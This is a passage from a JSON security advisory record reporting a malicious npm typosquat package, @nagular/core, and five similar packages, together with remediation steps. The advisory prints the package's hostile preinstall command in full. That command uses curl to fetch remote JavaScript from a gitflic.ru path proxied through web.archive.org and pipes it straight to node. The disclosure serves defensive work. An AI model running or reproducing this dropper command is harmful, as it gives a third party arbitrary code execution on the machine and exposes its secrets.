If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @nagular/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\nThe package's package.json declares a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from an unrelated third-party host (gitflic.ru proxied through web.archive.org) and piping it directly to node for execution during `npm install`. The remote content runs with the installer's privileges before any package code is imported or reviewed, giving whoever controls that URL arbitrary code execution on every machine that installs the package. The remote path `hellscripter/install-scripts` and the use of an archive proxy are consistent with a hostile dropper rather than a legitimate build step. The scope name `@nagular/core` additionally resembles the Angular ecosystem (`@angular`), consistent with a typosquat lure, and the preinstall hook is the package's only functional content.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @nagular/core (npm)","id":"MAL-2026-17499","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@nagular/core","purl":"pkg:npm/%40nagular/core","source":"MAL-2026-17499"}],"products":null,"published":"2026-10-03","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17499/"}
